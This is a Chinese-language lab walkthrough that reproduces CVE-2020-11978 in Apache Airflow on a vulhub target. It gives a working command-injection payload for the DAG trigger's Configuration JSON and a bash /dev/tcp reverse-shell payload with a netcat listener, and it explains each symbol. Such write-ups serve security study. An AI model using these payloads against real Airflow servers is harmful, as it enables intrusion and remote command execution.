一、漏洞描述

CVE-2020-11978 是 Apache Airflow 中的一个远程命令注入漏洞。

  • 影响版本:Apache Airflow ≤ 1.10.10

  • 漏洞原理:Airflow 自带的示例 DAG(example_trigger_target_dag)在构造执行命令时未对用户输入中的特殊字符做有效过滤,导致可将恶意命令拼接到原有命令中执行

  • 危害:任何已认证的攻击者都能以运行 Airflow Worker/Scheduler 的用户身份执行任意系统命令

  • 攻击条件:需先登录 Airflow Web 管理界面(默认无认证或存在实验性 API 绕过,默认允许所有 API 请求)

二、环境准备

kali作为攻击机,ubuntu中部署docker compose,并下载vulhub。

三、靶场环境启动

3.1 进入 CVE-2020-11978 漏洞目录

cd airflow/CVE-2020-11978/

3.2 启动靶场环境

sudo su  #进入root模式

# 1. 初始化数据库
docker compose run airflow-init

# 2. 启动所有服务
docker compose up -d

解释

  • airflow-init:初始化 Airflow 所需的元数据库(默认使用 SQLite),这一步会创建管理用户、生成默认连接配置等。

  • up -d:以后台模式启动所有容器(-d 表示 detached 模式)。

  • 该环境会启动 Web 服务器、Scheduler 和 Celery Worker 等多个组件,启动时间较长(可能需要 5–10 分钟)。

3.3 验证环境是否就绪

# 查看容器运行状态
docker compose ps

# 或查看所有运行中的 Docker 容器
docker ps

当看到所有容器状态均为 Up(健康)时,环境即启动完成。也可以查看日志确认是否有 200 状态码的健康检查响应。

3.4访问 Airflow Web 管理端

在 Kali 中打开浏览器,访问:

http://localhost:8080/admin/

此时应能看到 Apache Airflow 的 Web 管理界面。

四、漏洞复现

4.1 启用 example_trigger_target_dag

操作:在 Airflow 管理界面中,找到 DAG 列表,将 example_trigger_target_dag 前面的开关从 Off 拨到 On

解释:DAG(有向无环图)是 Airflow 中工作流的定义文件。example_trigger_target_dag 是一个示例 DAG,开关设为 On 后才能被调度执行。漏洞就存在于这个 DAG 的处理逻辑中。

4.2 点击进入 DAG 详情并打开 Trigger 面板

操作

  1. 点击 example_trigger_target_dag 进入 DAG 详情页

  2. 点击右侧的 Trigger DAG 按钮

  3. 在弹出的面板中找到 Configuration JSON 输入框

4.3 注入恶意命令(在服务器创建测试文件)

操作:在 Configuration JSON 输入框中填入以下 Payload:

{"message":"'\";touch /tmp/airflow_dag_success;#"}

然后点击 Trigger 按钮执行。

PayLoad 解释

原始命令在执行时会拼接用户传入的 message 参数,类似于:

echo '<用户输入>' | ...

当我们输入 '";touch /tmp/airflow_dag_success;# 时,实际拼接后的命令变为:

echo '';touch /tmp/airflow_dag_success;#' | ...

逐符号拆解:

  • ':闭合原命令中的单引号

  • ;:Shell 命令分隔符,表示一条命令结束,可接新命令

  • touch /tmp/airflow_dag_success:我们要执行的恶意命令,在 /tmp 目录创建空文件

  • ;:再接一个分隔符

  • #:Shell 注释符,注释掉后面的所有内容,防止语法错误

这样,服务器就会执行 touch /tmp/airflow_dag_success,在 /tmp 目录下创建一个名为 airflow_dag_success 的文件。

4.4 验证命令是否执行成功

操作:等待几秒,观察 DAG 运行状态变为 success,说明命令已被执行。

然后进入 Celery Worker 容器中查看文件是否创建:

docker compose exec airflow-worker ls -l /tmp

若输出中包含 airflow_dag_success 文件,说明命令注入成功。

五、Getshell(反弹 Shell)

5.1 在 Kali 攻击机上开启 nc 监听

# -l: 监听模式  -v: 详细输出  -n: 不解析域名  -p: 指定端口
nc -lvnp 6666

解释nc(netcat)是网络工具中的"瑞士军刀"。这里将 Kali 配置为"服务端",监听 6666 端口,等待靶机(受害者)连接。

5.2 查看 Kali 的 IP 地址

ip a
# 或
ifconfig

记下 Kali 的 IP 地址(例如 192.168.233.128),后面反弹 Shell 时要用。

5.3 构造反弹 Shell Payload

操作:回到 Airflow 管理页面,再次点击 Trigger DAG,在 Configuration JSON 中输入以下 Payload(务必将 IP 替换为你的 Kali IP):

{"message":"'\";bash -i >& /dev/tcp/kali ip地址/6666 0>&1;#"}

然后点击 Trigger 执行。

反弹 Shell Payload 解释

原始命令被注入后实际执行:

echo '';bash -i >& /dev/tcp/kali IP地址/6666 0>&1;#' | ...
  • bash -i:启动一个交互式 Bash(interactive mode)

  • >& /dev/tcp/kali IP地址/6666:将标准输出和标准错误都重定向到 Kali 的 6666 端口(/dev/tcp/IP/PORT 是 Bash 的一种特殊文件重定向功能)

  • 0>&1:将标准输入也绑定到同一个 TCP 连接

这样,靶机会主动连接到 Kali 的 6666 端口,并把这个连接作为 Shell 的输入输出通道,Kali 就可以远程执行命令了。

5.4 查看是否成功反弹

操作:回到 Kali 终端中运行 nc 监听的那个窗口。

等待片刻,若看到连接提示和 $ 或 # 命令行提示符,说明反弹 Shell 成功。

验证:在获取的 Shell 中输入以下命令确认身份:

whoami
id

如果能正常输出当前用户名,即表明已成功 Getshell。

六、完整攻击流程图

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐